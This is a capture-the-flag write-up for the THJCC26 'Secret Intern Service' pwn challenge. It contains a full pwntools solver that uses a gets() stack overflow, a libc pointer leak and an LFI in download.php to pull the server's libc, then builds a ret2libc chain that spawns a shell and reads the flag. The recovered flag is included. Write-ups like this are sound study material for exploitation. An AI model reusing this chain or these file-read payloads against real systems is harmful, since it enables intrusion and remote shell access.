Writeup
Secret Intern Service — Writeup
THJCC26 CTF - Secret Intern Service — Writeup
This writeup details the solution for THJCC26 CTF - Secret Intern Service. The pwn binary looks straightforward at first, but remote exploitation depends on Secret File Viewer to recover the exact libc used by the service.
Summary
The service has a classic stack overflow in add_message() via gets(msg.content). Under normal mitigations (PIE, NX, no canary), a ret2libc chain is viable, but remote libc offsets are required.
A helpful bug in the crash path leaks a libc address:
crash_handler()printsDisconnect handler: %plogin_agent.on_disconnectis initialized toputs- so the printed pointer is effectively a runtime leak of
putsin libc
The missing piece is libc identification. The companion Secret File Viewer has an LFI in download.php?file=..., which lets us read /run.sh and /libc.so.6. With that libc, offsets are exact and ret2libc becomes reliable.
Key Code Snippets
Vulnerable overflow in the service:
void add_message(int user_id){ Message msg; msg.user_id = user_id; printf("Enter your message: "); getchar(); gets(msg.content); printf("Message added for user %d: %s\n\n", msg.user_id, msg.content);}Crash leak primitive:
fprintf(stderr, "Disconnect handler: %p\n", (void *)login_agent.on_disconnect);LFI in Secret File Viewer:
$file = $_GET['file'];$filename = basename($file);header('Content-Length: ' . filesize($file));readfile($file);Analysis
Components
1) Secret Intern Service (port 30001)
- Stack overflow in
gets PIE+NX+ no stack canary- Crash handler recursively calls
main()and leaks a function pointer from libc
2) Secret File Viewer (port 30000)
- LFI in
download.php?file=... - Readable files include system paths and app scripts
/run.shreveals that/libc.so.6is copied into system libc path in this environment
Why this works
- First overflow triggers crash and leaks
putsaddress from libc. - LFI gives the exact remote
libc.so.6binary. - Compute
libc_base = leaked_puts - libc.symbols['puts']. - Second overflow builds ret2libc chain:
pop rdi; ret- pointer to
"/bin/sh"in libc system
- Send
cat /flagover the spawned shell.
Exploitation and Flag Recovery
Step 1: Obtain remote libc via LFI
Query Secret File Viewer:
/download.php?file=/run.sh(to confirm libc manipulation)/download.php?file=/libc.so.6(download exact libc)
Step 2: Leak libc pointer from crash handler
- Login once
- Choose
Add a message - Send oversized input (e.g. 400 bytes)
- Parse
Disconnect handler: 0x...
Step 3: Build and trigger ret2libc
- Re-login after restart
- Overflow offset to RIP:
272 - Chain:
pop rdi; ret->"/bin/sh"->system - Send
cat /flag /flag.txt /home/chal/flag* 2>/dev/null
Solver
from pwn import *import reimport socket
HOST = "chal.thjcc.org"CONNECT_HOST = "23.146.248.121"PORT_WEB = 30000PORT_PWN = 30001LIBC_PATH = "./remote_libc.so.6"
def http_get_raw(path: str) -> bytes: s = socket.create_connection((CONNECT_HOST, PORT_WEB), timeout=8) req = ( f"GET {path} HTTP/1.1\r\n" f"Host: {HOST}\r\n" "Connection: close\r\n\r\n" ).encode() s.sendall(req) data = b"" while True: chunk = s.recv(65536) if not chunk: break data += chunk s.close() return data
def download_libc(): raw = http_get_raw("/download.php?file=/libc.so.6") body = raw.split(b"\r\n\r\n", 1)[1] with open(LIBC_PATH, "wb") as f: f.write(body)
def solve(): context.log_level = "info"
download_libc() libc = ELF(LIBC_PATH, checksec=False) pop_rdi = ROP(libc).find_gadget(["pop rdi", "ret"]).address binsh_off = next(libc.search(b"/bin/sh\x00")) system_off = libc.symbols["system"] puts_off = libc.symbols["puts"]
p = remote(CONNECT_HOST, PORT_PWN)
def login(user=b"a", pw=b"b"): p.sendlineafter(b"Username: ", user) p.sendlineafter(b"Password: ", pw)
# Stage 1: force crash to leak puts address from crash_handler login() p.sendlineafter(b"> ", b"1") p.sendlineafter(b"Enter your message: ", b"A" * 400) leak_blob = p.recvuntil(b"System Restarting...", timeout=3) m = re.search(rb"Disconnect handler: (0x[0-9a-fA-F]+)", leak_blob) if not m: raise RuntimeError("failed to parse leak") puts_leak = int(m.group(1), 16) libc_base = puts_leak - puts_off log.success(f"puts leak: {hex(puts_leak)}") log.info(f"libc base: {hex(libc_base)}")
# Stage 2: ret2libc -> system('/bin/sh') login(b"c", b"d") payload = b"A" * 272 payload += p64(libc_base + pop_rdi) payload += p64(libc_base + binsh_off) payload += p64(libc_base + system_off) p.sendlineafter(b"> ", b"1") p.sendlineafter(b"Enter your message: ", payload)
p.sendline(b"cat /flag /flag.txt /home/chal/flag* 2>/dev/null") print(p.recvall(timeout=2).decode("latin1", "ignore"))
if __name__ == "__main__": solve()Final Result
THJCC{w3_d13_1n_7h3_d4rk_50-y0u_m4y_l1v3_1n_7h3_l16h7}